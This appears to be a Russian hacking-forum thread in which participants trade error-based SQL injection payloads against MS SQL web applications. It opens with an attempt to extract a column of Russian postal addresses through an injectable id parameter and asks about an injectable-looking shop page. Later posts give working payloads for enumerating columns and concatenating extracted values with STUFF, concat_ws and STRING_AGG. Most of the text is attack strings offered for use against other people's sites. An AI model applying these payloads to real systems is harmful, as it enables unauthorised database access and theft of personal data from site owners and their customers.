Надеюсь, я пишу в ту ветку. Мне нужна помощь. У меня возникли проблемы с кодировкой. Сразу скажу, что я только начинающий. При попытке вывести содержание столбца получаю абракадабру. Каким образом можно вывести информацию в другой кодировке? Перепробовал разные варианты, предложенные в тех или иных ветках античата (unhex(hex()), AES_DECRYPT(AES_ENCRYPT(),), collate, cast( as nvarchar) и т.п.) Ничего не помогает. В этой строке запрятан почтовый адрес на русском языке. Вот, собственно, сам запрос: ...id=-1'+OR+1=(SELECT+TOP+1+cast(strAddress+as+nvarchar) +FROM+tbfVP)+-- Используется MS SQL. Буду очень признателен.
А есть еще какой то способ объединения данных вместо cast? Что то такой способ у меня не хочет работать.
такс.. походу наводка не совсем правильная. concat реализована только с MS SQL 2012. думаю такое в настоящее время редко найдешь. у меня банальная версия: вопрос актуален.
если выводит такую ошибку Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC Microsoft Access Driver] Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'. /shop/en/products.asp, line 32 то sql инекция осуществима?
Еще раз про подбор колонок, старая фича Code: 152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n) где n номер колонки Как альтернатива + и concat, в некоторой степени можно использовать STUFF Code: 152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20 1 -- позиция для вставки 0 -- определяет, какое количество символов следует удалить после вставки C 2017 версии появилась concat_ws -- немного удобства для нас Code: 152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20 Так же с 2017 версии появился полноценный group_concat - привычно и удобно. Code: 152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20